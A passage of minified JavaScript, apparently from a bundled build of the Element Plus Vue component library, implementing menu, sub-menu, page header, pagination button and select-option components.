n=this.domNode.childNodes;Array.from(n).forEach(r=>{r.nodeType===1&&new pse(r,t)})}};const vse=ie({name:"ElMenuCollapseTransition",setup(){const e=Oe("menu");return{listeners:{onBeforeEnter:n=>n.style.opacity="0.2",onEnter(n,r){To(n,`${e.namespace.value}-opacity-transition`),n.style.opacity="1",r()},onAfterEnter(n){Br(n,`${e.namespace.value}-opacity-transition`),n.style.opacity=""},onBeforeLeave(n){n.dataset||(n.dataset={}),Yo(n,e.m("collapse"))?(Br(n,e.m("collapse")),n.dataset.oldOverflow=n.style.overflow,n.dataset.scrollWidth=n.clientWidth.toString(),To(n,e.m("collapse"))):(To(n,e.m("collapse")),n.dataset.oldOverflow=n.style.overflow,n.dataset.scrollWidth=n.clientWidth.toString(),Br(n,e.m("collapse"))),n.style.width=`${n.scrollWidth}px`,n.style.overflow="hidden"},onLeave(n){To(n,"horizontal-collapse-transition"),n.style.width=`${n.dataset.scrollWidth}px`}}}}});function gse(e,t,n,r,o,i){return B(),ye(Hn,xt({mode:"out-in"},e.listeners),{default:fe(()=>[qe(e.$slots,"default")]),_:3},16)}var yse=Ye(vse,[["render",gse],["__file","menu-collapse-transition.vue"]]);function Ex(e,t){const n=N(()=>{let o=e.parent;const i=[t.value];for(;o.type.name!=="ElMenu";)o.props.index&&i.unshift(o.props.index),o=o.parent;return i});return{parentMenu:N(()=>{let o=e.parent;for(;o&&!["ElMenu","ElSubMenu"].includes(o.type.name);)o=o.parent;return o}),indexPath:n}}function bse(e){return N(()=>{const n=e.backgroundColor;return n?new nk(n).shade(20).toString():""})}const Ax=(e,t)=>{const n=Oe("menu");return N(()=>n.cssVarBlock({"text-color":e.textColor||"","hover-text-color":e.textColor||"","bg-color":e.backgroundColor||"","hover-bg-color":bse(e).value||"","active-color":e.activeTextColor||"",level:`${t}`}))},Ise=Ge({index:{type:String,required:!0},showTimeout:Number,hideTimeout:Number,popperClass:String,disabled:Boolean,teleported:{type:Boolean,default:void 0},popperOffset:Number,expandCloseIcon:{type:cn},expandOpenIcon:{type:cn},collapseCloseIcon:{type:cn},collapseOpenIcon:{type:cn}}),p0="ElSubMenu";var SI=ie({name:p0,props:Ise,setup(e,{slots:t,expose:n}){const r=bt(),{indexPath:o,parentMenu:i}=Ex(r,N(()=>e.index)),s=Oe("menu"),a=Oe("sub-menu"),l=Fe("rootMenu");l||tr(p0,"can not inject root menu");const u=Fe(`subMenu:${i.value.uid}`);u||tr(p0,"can not inject sub menu");const c=D({}),f=D({});let p;const m=D(!1),g=D(),v=D(null),I=N(()=>j.value==="horizontal"&&M.value?"bottom-start":"right-start"),q=N(()=>j.value==="horizontal"&&M.value||j.value==="vertical"&&!l.props.collapse?e.expandCloseIcon&&e.expandOpenIcon?K.value?e.expandOpenIcon:e.expandCloseIcon:Ms:e.collapseCloseIcon&&e.collapseOpenIcon?K.value?e.collapseOpenIcon:e.collapseCloseIcon:Xr),M=N(()=>u.level===0),E=N(()=>{const z=e.teleported;return z===void 0?M.value:z}),x=N(()=>l.props.collapse?`${s.namespace.value}-zoom-in-left`:`${s.namespace.value}-zoom-in-top`),R=N(()=>j.value==="horizontal"&&M.value?["bottom-start","bottom-end","top-start","top-end","right-start","left-start"]:["right-start","right","right-end","left-start","bottom-start","bottom-end","top-start","top-end"]),K=N(()=>l.openedMenus.includes(e.index)),W=N(()=>{let z=!1;return Object.values(c.value).forEach(k=>{k.active&&(z=!0)}),Object.values(f.value).forEach(k=>{k.active&&(z=!0)}),z}),j=N(()=>l.props.mode),H=$t({index:e.index,indexPath:o,active:W}),P=Ax(l.props,u.level+1),U=N(()=>{var z;return(z=e.popperOffset)!=null?z:l.props.popperOffset}),X=N(()=>{var z;return(z=e.popperClass)!=null?z:l.props.popperClass}),L=N(()=>{var z;return(z=e.showTimeout)!=null?z:l.props.showTimeout}),h=N(()=>{var z;return(z=e.hideTimeout)!=null?z:l.props.hideTimeout}),b=()=>{var z,k,y;return(y=(k=(z=v.value)==null?void 0:z.popperRef)==null?void 0:k.popperInstanceRef)==null?void 0:y.destroy()},w=z=>{z||b()},A=()=>{l.props.menuTrigger==="hover"&&l.props.mode==="horizontal"||l.props.collapse&&l.props.mode==="vertical"||e.disabled||l.handleSubMenuClick({index:e.index,indexPath:o.value,active:W.value})},C=(z,k=L.value)=>{var y;if(z.type!=="focus"){if(l.props.menuTrigger==="click"&&l.props.mode==="horizontal"||!l.props.collapse&&l.props.mode==="vertical"||e.disabled){u.mouseInChild.value=!0;return}u.mouseInChild.value=!0,p==null||p(),{stop:p}=fa(()=>{l.openMenu(e.index,o.value)},k),E.value&&((y=i.value.vnode.el)==null||y.dispatchEvent(new MouseEvent("mouseenter")))}},S=(z=!1)=>{var k;if(l.props.menuTrigger==="click"&&l.props.mode==="horizontal"||!l.props.collapse&&l.props.mode==="vertical"){u.mouseInChild.value=!1;return}p==null||p(),u.mouseInChild.value=!1,{stop:p}=fa(()=>!m.value&&l.closeMenu(e.index,o.value),h.value),E.value&&z&&((k=u.handleMouseleave)==null||k.call(u,!0))};Ce(()=>l.props.collapse,z=>w(!!z));{const z=y=>{f.value[y.index]=y},k=y=>{delete f.value[y.index]};Ot(`subMenu:${r.uid}`,{addSubMenu:z,removeSubMenu:k,handleMouseleave:S,mouseInChild:m,level:u.level+1})}return n({opened:K}),mt(()=>{l.addSubMenu(H),u.addSubMenu(H)}),vn(()=>{u.removeSubMenu(H),l.removeSubMenu(H)}),()=>{var z;const k=[(z=t.title)==null?void 0:z.call(t),tt(Pe,{class:a.e("icon-arrow"),style:{transform:K.value?e.expandCloseIcon&&e.expandOpenIcon||e.collapseCloseIcon&&e.collapseOpenIcon&&l.props.collapse?"none":"rotateZ(180deg)":"none"}},{default:()=>st(q.value)?tt(r.appContext.components[q.value]):tt(q.value)})],y=l.isMenuPopup?tt(Vr,{ref:v,visible:K.value,effect:"light",pure:!0,offset:U.value,showArrow:!1,persistent:!0,popperClass:X.value,placement:I.value,teleported:E.value,fallbackPlacements:R.value,transition:x.value,gpuAcceleration:!1},{content:()=>{var T;return tt("div",{class:[s.m(j.value),s.m("popup-container"),X.value],onMouseenter:te=>C(te,100),onMouseleave:()=>S(!0),onFocus:te=>C(te,100)},[tt("ul",{class:[s.b(),s.m("popup"),s.m(`popup-${I.value}`)],style:P.value},[(T=t.default)==null?void 0:T.call(t)])])},default:()=>tt("div",{class:a.e("title"),onClick:A},k)}):tt(Qe,{},[tt("div",{class:a.e("title"),ref:g,onClick:A},k),tt(Um,{},{default:()=>{var T;return ft(tt("ul",{role:"menu",class:[s.b(),s.m("inline")],style:P.value},[(T=t.default)==null?void 0:T.call(t)]),[[_t,K.value]])}})]);return tt("li",{class:[a.b(),a.is("active",W.value),a.is("opened",K.value),a.is("disabled",e.disabled)],role:"menuitem",ariaHaspopup:!0,ariaExpanded:K.value,onMouseenter:C,onMouseleave:()=>S(),onFocus:C},[y])}}});const qse=Ge({mode:{type:String,values:["horizontal","vertical"],default:"vertical"},defaultActive:{type:String,default:""},defaultOpeneds:{type:he(Array),default:()=>Mn([])},uniqueOpened:Boolean,router:Boolean,menuTrigger:{type:String,values:["hover","click"],default:"hover"},collapse:Boolean,backgroundColor:String,textColor:String,activeTextColor:String,closeOnClickOutside:Boolean,collapseTransition:{type:Boolean,default:!0},ellipsis:{type:Boolean,default:!0},popperOffset:{type:Number,default:6},ellipsisIcon:{type:cn,default:()=>KF},popperEffect:{type:String,values:["dark","light"],default:"dark"},popperClass:String,showTimeout:{type:Number,default:300},hideTimeout:{type:Number,default:300}}),m0=e=>Array.isArray(e)&&e.every(t=>st(t)),wse={close:(e,t)=>st(e)&&m0(t),open:(e,t)=>st(e)&&m0(t),select:(e,t,n,r)=>st(e)&&m0(t)&&At(n)&&(r===void 0||r instanceof Promise)};var Sse=ie({name:"ElMenu",props:qse,emits:wse,setup(e,{emit:t,slots:n,expose:r}){const o=bt(),i=o.appContext.config.globalProperties.$router,s=D(),a=Oe("menu"),l=Oe("sub-menu"),u=D(-1),c=D(e.defaultOpeneds&&!e.collapse?e.defaultOpeneds.slice(0):[]),f=D(e.defaultActive),p=D({}),m=D({}),g=N(()=>e.mode==="horizontal"||e.mode==="vertical"&&e.collapse),v=()=>{const h=f.value&&p.value[f.value];if(!h||e.mode==="horizontal"||e.collapse)return;h.indexPath.forEach(w=>{const A=m.value[w];A&&I(w,A.indexPath)})},I=(h,b)=>{c.value.includes(h)||(e.uniqueOpened&&(c.value=c.value.filter(w=>b.includes(w))),c.value.push(h),t("open",h,b))},q=h=>{const b=c.value.indexOf(h);b!==-1&&c.value.splice(b,1)},M=(h,b)=>{q(h),t("close",h,b)},E=({index:h,indexPath:b})=>{c.value.includes(h)?M(h,b):I(h,b)},x=h=>{(e.mode==="horizontal"||e.collapse)&&(c.value=[]);const{index:b,indexPath:w}=h;if(!($n(b)||$n(w)))if(e.router&&i){const A=h.route||b,C=i.push(A).then(S=>(S||(f.value=b),S));t("select",b,w,{index:b,indexPath:w,route:A},C)}else f.value=b,t("select",b,w,{index:b,indexPath:w})},R=h=>{const b=p.value,w=b[h]||f.value&&b[f.value]||b[e.defaultActive];w?f.value=w.index:f.value=h},K=h=>{const b=getComputedStyle(h),w=Number.parseInt(b.marginLeft,10),A=Number.parseInt(b.marginRight,10);return h.offsetWidth+w+A||0},W=()=>{var h,b;if(!s.value)return-1;const w=Array.from((b=(h=s.value)==null?void 0:h.childNodes)!=null?b:[]).filter(te=>te.nodeName!=="#comment"&&(te.nodeName!=="#text"||te.nodeValue)),A=64,C=getComputedStyle(s.value),S=Number.parseInt(C.paddingLeft,10),z=Number.parseInt(C.paddingRight,10),k=s.value.clientWidth-S-z;let y=0,T=0;return w.forEach((te,le)=>{y+=K(te),y<=k-A&&(T=le+1)}),T===w.length?-1:T},j=h=>m.value[h].indexPath,H=(h,b=33.34)=>{let w;return()=>{w&&clearTimeout(w),w=setTimeout(()=>{h()},b)}};let P=!0;const U=()=>{if(u.value===W())return;const h=()=>{u.value=-1,$e(()=>{u.value=W()})};P?h():H(h)(),P=!1};Ce(()=>e.defaultActive,h=>{p.value[h]||(f.value=""),R(h)}),Ce(()=>e.collapse,h=>{h&&(c.value=[])}),Ce(p.value,v);let X;Gn(()=>{e.mode==="horizontal"&&e.ellipsis?X=On(s,U).stop:X==null||X()});const L=D(!1);{const h=C=>{m.value[C.index]=C},b=C=>{delete m.value[C.index]};Ot("rootMenu",$t({props:e,openedMenus:c,items:p,subMenus:m,activeIndex:f,isMenuPopup:g,addMenuItem:C=>{p.value[C.index]=C},removeMenuItem:C=>{delete p.value[C.index]},addSubMenu:h,removeSubMenu:b,openMenu:I,closeMenu:M,handleMenuItemClick:x,handleSubMenuClick:E})),Ot(`subMenu:${o.uid}`,{addSubMenu:h,removeSubMenu:b,mouseInChild:L,level:0})}return mt(()=>{e.mode==="horizontal"&&new mse(o.vnode.el,a.namespace.value)}),r({open:b=>{const{indexPath:w}=m.value[b];w.forEach(A=>I(A,w))},close:q,handleResize:U}),()=>{var h,b;let w=(b=(h=n.default)==null?void 0:h.call(n))!=null?b:[];const A=[];if(e.mode==="horizontal"&&s.value){const k=sa(w),y=u.value===-1?k:k.slice(0,u.value),T=u.value===-1?[]:k.slice(u.value);T!=null&&T.length&&e.ellipsis&&(w=y,A.push(tt(SI,{index:"sub-menu-more",class:l.e("hide-arrow"),popperOffset:e.popperOffset},{title:()=>tt(Pe,{class:l.e("icon-more")},{default:()=>tt(e.ellipsisIcon)}),default:()=>T})))}const C=Ax(e,0),S=e.closeOnClickOutside?[[Is,()=>{c.value.length&&(L.value||(c.value.forEach(k=>t("close",k,j(k))),c.value=[]))}]]:[],z=ft(tt("ul",{key:String(e.collapse),role:"menubar",ref:s,style:C.value,class:{[a.b()]:!0,[a.m(e.mode)]:!0,[a.m("collapse")]:e.collapse}},[...w,...A]),S);return e.collapseTransition&&e.mode==="vertical"?tt(yse,()=>z):z}}});const Ese=Ge({index:{type:he([String,null]),default:null},route:{type:he([String,Object])},disabled:Boolean}),Ase={click:e=>st(e.index)&&Array.isArray(e.indexPath)},v0="ElMenuItem",Mse=ie({name:v0,components:{ElTooltip:Vr},props:Ese,emits:Ase,setup(e,{emit:t}){const n=bt(),r=Fe("rootMenu"),o=Oe("menu"),i=Oe("menu-item");r||tr(v0,"can not inject root menu");const{parentMenu:s,indexPath:a}=Ex(n,hn(e,"index")),l=Fe(`subMenu:${s.value.uid}`);l||tr(v0,"can not inject sub menu");const u=N(()=>e.index===r.activeIndex),c=$t({index:e.index,indexPath:a,active:u}),f=()=>{e.disabled||(r.handleMenuItemClick({index:e.index,indexPath:a.value,route:e.route}),t("click",c))};return mt(()=>{l.addSubMenu(c),r.addMenuItem(c)}),vn(()=>{l.removeSubMenu(c),r.removeMenuItem(c)}),{parentMenu:s,rootMenu:r,active:u,nsMenu:o,nsMenuItem:i,handleClick:f}}});function Cse(e,t,n,r,o,i){const s=pt("el-tooltip");return B(),_("li",{class:F([e.nsMenuItem.b(),e.nsMenuItem.is("active",e.active),e.nsMenuItem.is("disabled",e.disabled)]),role:"menuitem",tabindex:"-1",onClick:t[0]||(t[0]=(...a)=>e.handleClick&&e.handleClick(...a))},[e.parentMenu.type.name==="ElMenu"&&e.rootMenu.props.collapse&&e.$slots.title?(B(),ye(s,{key:0,effect:e.rootMenu.props.popperEffect,placement:"right","fallback-placements":["left"],persistent:""},{content:fe(()=>[qe(e.$slots,"title")]),default:fe(()=>[ne("div",{class:F(e.nsMenu.be("tooltip","trigger"))},[qe(e.$slots,"default")],2)]),_:3},8,["effect"])):(B(),_(Qe,{key:1},[qe(e.$slots,"default"),qe(e.$slots,"title")],64))],2)}var Mx=Ye(Mse,[["render",Cse],["__file","menu-item.vue"]]);const kse={title:String},xse="ElMenuItemGroup",Ose=ie({name:xse,props:kse,setup(){return{ns:Oe("menu-item-group")}}});function zse(e,t,n,r,o,i){return B(),_("li",{class:F(e.ns.b())},[ne("div",{class:F(e.ns.e("title"))},[e.$slots.title?qe(e.$slots,"title",{key:1}):(B(),_(Qe,{key:0},[Kt(We(e.title),1)],64))],2),ne("ul",null,[qe(e.$slots,"default")])],2)}var Cx=Ye(Ose,[["render",zse],["__file","menu-item-group.vue"]]);const Kse=It(Sse,{MenuItem:Mx,MenuItemGroup:Cx,SubMenu:SI}),Rse=kn(Mx),Lse=kn(Cx),Zse=kn(SI),Tse=Ge({icon:{type:cn,default:()=>nF},title:String,content:{type:String,default:""}}),Nse={back:()=>!0},jse=["aria-label"],Wse=ie({name:"ElPageHeader"}),Gse=ie({...Wse,props:Tse,emits:Nse,setup(e,{emit:t}){const n=pr(),{t:r}=Vt(),o=Oe("page-header"),i=N(()=>[o.b(),{[o.m("has-breadcrumb")]:!!n.breadcrumb,[o.m("has-extra")]:!!n.extra,[o.is("contentful")]:!!n.default}]);function s(){t("back")}return(a,l)=>(B(),_("div",{class:F(d(i))},[a.$slots.breadcrumb?(B(),_("div",{key:0,class:F(d(o).e("breadcrumb"))},[qe(a.$slots,"breadcrumb")],2)):pe("v-if",!0),ne("div",{class:F(d(o).e("header"))},[ne("div",{class:F(d(o).e("left"))},[ne("div",{class:F(d(o).e("back")),role:"button",tabindex:"0",onClick:s},[a.icon||a.$slots.icon?(B(),_("div",{key:0,"aria-label":a.title||d(r)("el.pageHeader.title"),class:F(d(o).e("icon"))},[qe(a.$slots,"icon",{},()=>[a.icon?(B(),ye(d(Pe),{key:0},{default:fe(()=>[(B(),ye(Et(a.icon)))]),_:1})):pe("v-if",!0)])],10,jse)):pe("v-if",!0),ne("div",{class:F(d(o).e("title"))},[qe(a.$slots,"title",{},()=>[Kt(We(a.title||d(r)("el.pageHeader.title")),1)])],2)],2),ae(d(fx),{direction:"vertical"}),ne("div",{class:F(d(o).e("content"))},[qe(a.$slots,"content",{},()=>[Kt(We(a.content),1)])],2)],2),a.$slots.extra?(B(),_("div",{key:0,class:F(d(o).e("extra"))},[qe(a.$slots,"extra")],2)):pe("v-if",!0)],2),a.$slots.default?(B(),_("div",{key:1,class:F(d(o).e("main"))},[qe(a.$slots,"default")],2)):pe("v-if",!0)],2))}});var Yse=Ye(Gse,[["__file","page-header.vue"]]);const Bse=It(Yse),kx=Symbol("elPaginationKey"),Jse=Ge({disabled:Boolean,currentPage:{type:Number,default:1},prevText:{type:String},prevIcon:{type:cn}}),Vse={click:e=>e instanceof MouseEvent},Use=["disabled","aria-label","aria-disabled"],Fse={key:0},Hse=ie({name:"ElPaginationPrev"}),Pse=ie({...Hse,props:Jse,emits:Vse,setup(e){const t=e,{t:n}=Vt(),r=N(()=>t.disabled||t.currentPage<=1);return(o,i)=>(B(),_("button",{type:"button",class:"btn-prev",disabled:d(r),"aria-label":o.prevText||d(n)("el.pagination.prev"),"aria-disabled":d(r),onClick:i[0]||(i[0]=s=>o.$emit("click",s))},[o.prevText?(B(),_("span",Fse,We(o.prevText),1)):(B(),ye(d(Pe),{key:1},{default:fe(()=>[(B(),ye(Et(o.prevIcon)))]),_:1}))],8,Use))}});var Dse=Ye(Pse,[["__file","prev.vue"]]);const Xse=Ge({disabled:Boolean,currentPage:{type:Number,default:1},pageCount:{type:Number,default:50},nextText:{type:String},nextIcon:{type:cn}}),Qse=["disabled","aria-label","aria-disabled"],_se={key:0},$se=ie({name:"ElPaginationNext"}),eae=ie({...$se,props:Xse,emits:["click"],setup(e){const t=e,{t:n}=Vt(),r=N(()=>t.disabled||t.currentPage===t.pageCount||t.pageCount===0);return(o,i)=>(B(),_("button",{type:"button",class:"btn-next",disabled:d(r),"aria-label":o.nextText||d(n)("el.pagination.next"),"aria-disabled":d(r),onClick:i[0]||(i[0]=s=>o.$emit("click",s))},[o.nextText?(B(),_("span",_se,We(o.nextText),1)):(B(),ye(d(Pe),{key:1},{default:fe(()=>[(B(),ye(Et(o.nextIcon)))]),_:1}))],8,Qse))}});var tae=Ye(eae,[["__file","next.vue"]]);const xx=Symbol("ElSelectGroup"),vf=Symbol("ElSelect");function nae(e,t){const n=Fe(vf),r=Fe(xx,{disabled:!1}),o=N(()=>n.props.multiple?c(n.props.modelValue,e.value):c([n.props.modelValue],e.value)),i=N(()=>{if(n.props.multiple){const m=n.props.modelValue||[];return!o.value&&m.length>=n.props.multipleLimit&&n.props.multipleLimit>0}else return!1}),s=N(()=>e.label||(At(e.value)?"":e.value)),a=N(()=>e.value||e.label||""),l=N(()=>e.disabled||t.groupDisabled||i.value),u=bt(),c=(m=[],g)=>{if(At(e.value)){const v=n.props.valueKey;return m&&m.some(I=>rn(Tn(I,v))===Tn(g,v))}else return m&&m.includes(g)},f=()=>{!e.disabled&&!r.disabled&&(n.states.hoveringIndex=n.optionsArray.indexOf(u.proxy))},p=m=>{const g=new RegExp(K1(m),"i");t.visible=g.test(s.value)||e.created};return Ce(()=>s.value,()=>{!e.created&&!n.props.remote&&n.setSelected()}),Ce(()=>e.value,(m,g)=>{const{remote:v,valueKey:I}=n.props;if(Yr(m,g)||(n.onOptionDestroy(g,u.proxy),n.onOptionCreate(u.proxy)),!e.created&&!v){if(I&&At(m)&&At(g)&&m[I]===g[I])return;n.setSelected()}}),Ce(()=>r.disabled,()=>{t.groupDisabled=r.disabled},{immediate:!0}),{select:n,currentLabel:s,currentValue:a,itemSelected:o,isDisabled:l,hoverItem:f,updateOption:p}}const rae=ie({name:"ElOption",componentName:"ElOption",props:{value:{required:!0,type:[String,Number,Boolean,Object]},label:[String,Number],created:Boolean,disabled:Boolean},setup(e){const t=Oe("select"),n=Jr(),r=N(()=>[t.be("dropdown","item"),t.is("disabled",d(a)),t.is("selected",d(s)),t.is("hovering",d(p))]),o=$t({index:-1,groupDisabled:!1,visible:!0,hover:!1}),{currentLabel:i,itemSelected:s,isDisabled:a,select:l,hoverItem:u,updateOption:c}=nae(e,o),{visible:f,hover:p}=Fn(o),m=bt().proxy;l.onOptionCreate(m),vn(()=>{const v=m.value,{selected:I}=l.states,M=(l.props.multiple?I:[I]).some(E=>E.value===m.value);$e(()=>{l.states.cachedOptions.get(v)===m&&!M&&l.states.cachedOptions.delete(v)}),l.onOptionDestroy(v,m)});function g(){e.disabled!==!0&&o.groupDisabled!==!0&&l.handleOptionSelect(m)}return{ns:t,id:n,containerKls:r,currentLabel:i,itemSelected:s,isDisabled:a,select:l,hoverItem:u,updateOption:c,visible:f,hover:p,selectOptionClick:g,states:o}}}),oae=["id","aria-disabled","aria-selected"];function iae(e,t,n,r,o,i){return ft((B(),_("li",{id:e.id,class:F(e.containerKls),role:"option","aria-disabled":e.isDisabled||void 0,"aria-selected":e.itemSelected,onMouseenter:t[0]||(t[0]=(...s)=>e.hoverItem&&e.hoverItem(...s)),onClick:t[1]||(t[1]=rt((...s)=>e.selectOptionClick&&e.selectOptionClick(...s),["stop"]))},[qe(e.$slots,"default",{},()=>[ne("span",null,We(e.currentLabel),1)])],42,oae)),[[_t,e.visible]])}var EI=Ye(rae,[["render",iae],["__file","option.vue"]]);const sae=ie({name:"ElSelectDropdown",componentName:"ElSelectDropdown",setup(){const e=Fe(vf),t=Oe("select"),n=N(()=>e.props.popperClass),r=N(()=>e.props.multiple),o=N(()=>e.props.fitInputWidth),i=D("");function s(){var a;i.value=`${(a=e.selectRef)==null?void 0:a.offsetWidth}px`}return mt(()=>{s(),On(e.selectRef,s)}),{ns:t,minWidth:i,popperClass:n,isMultiple:r,isFitInputWidth:o}}});function aae(e,t,n,r,o,i){return B(),_("div",{class:F([e.ns.b("dropdown"),e.ns.is("multiple",e.isMultiple),e.popperClass]),style:De({[e.isFitInputWidth?"width":"minWidth"]:e.minWidth})},[e.$slots.header?(B(),_("div",{key:0,class:F(e.ns.be("dropdown","header"))},[qe(e.$slots,"header")],2)):pe("v-if",!0),qe(e.$slots,"default"),e.$slots.footer?(B(),_("div",{key:1,class:F(e.ns.be("dropdown","footer"))},[qe(e.$slots,"footer")],2)):pe("v-if",!0)],6)}var lae=Ye(sae,[["render",aae],["__file","select-dropdown.vue"]]);function Ox(e){const t=D(!1);return{handleCompositionStart:()=>{t.value=!0},handleCompositionUpdate:i=>{const s=i.target.value,a=s[s.length-1]||"";t.value=!Y1(a)},handleCompositionEnd:i=>{t.value&&(t.value=!1,ot(e)&&e(i))}}}const uae=11,cae=(e,t)=>{const{t:n}=Vt(),r=Jr(),o=Oe("select"),i=Oe("input"),s=$t({inputValue:"",options:new Map,cachedOptions:new Map,disabledOptions:new Map,optionValues:[],selected:e.multiple?[]:{},selectionWidth:0,calculatorWidth:0,collapseItemWidth:0,selectedLabel:"",hoveringIndex:-1,previousQuery:null,inputHovering:!1,menuVisibleOnFocus:!1,isBeforeHide:!1}),a=D(null),l=D(null),u=D(null),c=D(null),f=D(null),p=D(null),m=D(null),g=D(null),v=D(null),I=D(null),q=D(null),M=D(null),{wrapperRef:E,isFocused:x,handleFocus:R,handleBlur:K}=Wm(f,{afterFocus(){e.automaticDropdown&&!W.value&&(W.value=!0,s.menuVisibleOnFocus=!0)},beforeBlur(Ke){var Ue,dn;return((Ue=u.value)==null?void 0:Ue.isFocusInsideContent(Ke))||((dn=c.value)==null?void 0:dn.isFocusInsideContent(Ke))},afterBlur(){W.value=!1,s.menuVisibleOnFocus=!1}}),W=D(!1),j=D(),{form:H,formItem:P}=eo(),{inputId:U}=Fi(e,{formItemContext:P}),X=N(()=>e.disabled||(H==null?void 0:H.disabled)),L=N(()=>T.value.some(Ke=>Ke.value==="")),h=N(()=>e.multiple?Ve(e.modelValue)&&e.modelValue.length>0:!$n(e.modelValue)&&(e.modelValue!==""||L.value)),b=N(()=>e.clearable&&!X.value&&s.inputHovering&&h.value),w=N(()=>e.remote&&e.filterable&&!e.remoteShowSuffix?"":e.suffixIcon),A=N(()=>o.is("reverse",w.value&&W.value)),C=N(()=>(P==null?void 0:P.validateState)||""),S=N(()=>G1[C.value]),z=N(()=>e.remote?300:0),k=N(()=>e.loading?e.loadingText||n("el.select.loading"):e.remote&&!s.inputValue&&s.options.size===0?!1:e.filterable&&s.inputValue&&s.options.size>0&&y.value===0?e.noMatchText||n("el.select.noMatch"):s.options.size===0?e.noDataText||n("el.select.noData"):null),y=N(()=>T.value.filter(Ke=>Ke.visible).length),T=N(()=>{const Ke=Array.from(s.options.values()),Ue=[];return s.optionValues.forEach(dn=>{const qt=Ke.findIndex(Zt=>Zt.value===dn);qt>-1&&Ue.push(Ke[qt])}),Ue.length>=Ke.length?Ue:Ke}),te=N(()=>Array.from(s.cachedOptions.values())),le=N(()=>{const Ke=T.value.filter(Ue=>!Ue.created).some(Ue=>Ue.currentLabel===s.inputValue);return e.filterable&&e.allowCreate&&s.inputValue!==""&&!Ke}),re=()=>{e.filterable&&ot(e.filterMethod)||e.filterable&&e.remote&&ot(e.remoteMethod)||T.value.forEach(Ke=>{var Ue;(Ue=Ke.updateOption)==null||Ue.call(Ke,s.inputValue)})},de=nr(),ce=N(()=>["small"].includes(de.value)?"small":"default"),we=N({get(){return W.value&&k.value!==!1},set(Ke){W.value=Ke}}),Ie=N(()=>Ve(e.modelValue)?e.modelValue.length===0&&!s.inputValue:e.filterable?!s.inputValue:!0),ge=N(()=>{var Ke;const Ue=(Ke=e.placeholder)!=null?Ke:n("el.select.placeholder");return e.multiple||!h.value?Ue:s.selectedLabel});Ce(()=>e.modelValue,(Ke,Ue)=>{e.multiple&&e.filterable&&!e.reserveKeyword&&(s.inputValue="",Me("")),ue(),!Yr(Ke,Ue)&&e.validateEvent&&(P==null||P.validate("change").catch(dn=>void 0))},{flush:"post",deep:!0}),Ce(()=>W.value,Ke=>{Ke?Me(s.inputValue):(s.inputValue="",s.previousQuery=null,s.isBeforeHide=!0),t("visible-change",Ke)}),Ce(()=>s.options.entries(),()=>{var Ke;if(!Tt)return;const Ue=((Ke=a.value)==null?void 0:Ke.querySelectorAll("input"))||[];(!e.filterable&&!e.defaultFirstOption&&!Vn(e.modelValue)||!Array.from(Ue).includes(document.activeElement))&&ue(),e.defaultFirstOption&&(e.filterable||e.remote)&&y.value&&se()},{flush:"post"}),Ce(()=>s.hoveringIndex,Ke=>{nt(Ke)&&Ke>-1?j.value=T.value[Ke]||{}:j.value={},T.value.forEach(Ue=>{Ue.hover=j.value===Ue})}),Gn(()=>{s.isBeforeHide||re()});const Me=Ke=>{s.previousQuery!==Ke&&(s.previousQuery=Ke,e.filterable&&ot(e.filterMethod)?e.filterMethod(Ke):e.filterable&&e.remote&&ot(e.remoteMethod)&&e.remoteMethod(Ke),e.defaultFirstOption&&(e.filterable||e.remote)&&y.value?$e(se):$e(ke))},se=()=>{const Ke=T.value.filter(qt=>qt.visible&&!qt.disabled&&!qt.states.groupDisabled),Ue=Ke.find(qt=>qt.created),dn=Ke[0];s.hoveringIndex=O(T.value,Ue||dn)},ue=()=>{if(e.multiple)s.selectedLabel="";else{const Ue=ve(e.modelValue);s.selectedLabel=Ue.currentLabel,s.selected=Ue;return}const Ke=[];Ve(e.modelValue)&&e.modelValue.forEach(Ue=>{Ke.push(ve(Ue))}),s.selected=Ke},ve=Ke=>{let Ue;const dn=uh(Ke).toLowerCase()==="object",qt=uh(Ke).toLowerCase()==="null",Zt=uh(Ke).toLowerCase()==="undefined";for(let jt=s.cachedOptions.size-1;jt>=0;jt--){const Pn=te.value[jt];if(dn?Tn(Pn.value,e.valueKey)===Tn(Ke,e.valueKey):Pn.value===Ke){Ue={value:Ke,currentLabel:Pn.currentLabel,isDisabled:Pn.isDisabled};break}}if(Ue)return Ue;const Ur=dn?Ke.label:!qt&&!Zt?Ke:"";return{value:Ke,currentLabel:Ur}},ke=()=>{e.multiple?s.hoveringIndex=T.value.findIndex(Ke=>s.selected.some(Ue=>Nt(Ue)===Nt(Ke))):s.hoveringIndex=T.value.findIndex(Ke=>Nt(Ke)===Nt(s.selected))},me=()=>{s.selectionWidth=l.value.getBoundingClientRect().width},Ee=()=>{s.calculatorWidth=p.value.getBoundingClientRect().width},Le=()=>{s.collapseItemWidth=q.value.getBoundingClientRect().width},Ae=()=>{var Ke,Ue;(Ue=(Ke=u.value)==null?void 0:Ke.updatePopper)==null||Ue.call(Ke)},be=()=>{var Ke,Ue;(Ue=(Ke=c.value)==null?void 0:Ke.updatePopper)==null||Ue.call(Ke)},xe=()=>{s.inputValue.length>0&&!W.value&&(W.value=!0),Me(s.inputValue)},Re=Ke=>{if(s.inputValue=Ke.target.value,e.remote)Ne();else return xe()},Ne=co(()=>{xe()},z.value),Se=Ke=>{Yr(e.modelValue,Ke)||t(qn,Ke)},Ze=Ke=>Y3(Ke,Ue=>!s.disabledOptions.has(Ue)),Q=Ke=>{if(e.multiple&&Ke.code!==_e.delete&&Ke.target.value.length<=0){const Ue=e.modelValue.slice(),dn=Ze(Ue);if(dn<0)return;Ue.splice(dn,1),t(St,Ue),Se(Ue)}},J=(Ke,Ue)=>{const dn=s.selected.indexOf(Ue);if(dn>-1&&!X.value){const qt=e.modelValue.slice();qt.splice(dn,1),t(St,qt),Se(qt),t("remove-tag",Ue.value)}Ke.stopPropagation(),wt()},V=Ke=>{Ke.stopPropagation();const Ue=e.multiple?[]:void 0;if(e.multiple)for(const dn of s.selected)dn.isDisabled&&Ue.push(dn.value);t(St,Ue),Se(Ue),s.hoveringIndex=-1,W.value=!1,t("clear"),wt()},G=Ke=>{if(e.multiple){const Ue=(e.modelValue||[]).slice(),dn=O(Ue,Ke.value);dn>-1?Ue.splice(dn,1):(e.multipleLimit<=0||Ue.length<e.multipleLimit)&&Ue.push(Ke.value),t(St,Ue),Se(Ue),Ke.created&&Me(""),e.filterable&&!e.reserveKeyword&&(s.inputValue="")}else t(St,Ke.value),Se(Ke.value),W.value=!1;wt(),!W.value&&$e(()=>{Z(Ke)})},O=(Ke=[],Ue)=>{if(!At(Ue))return 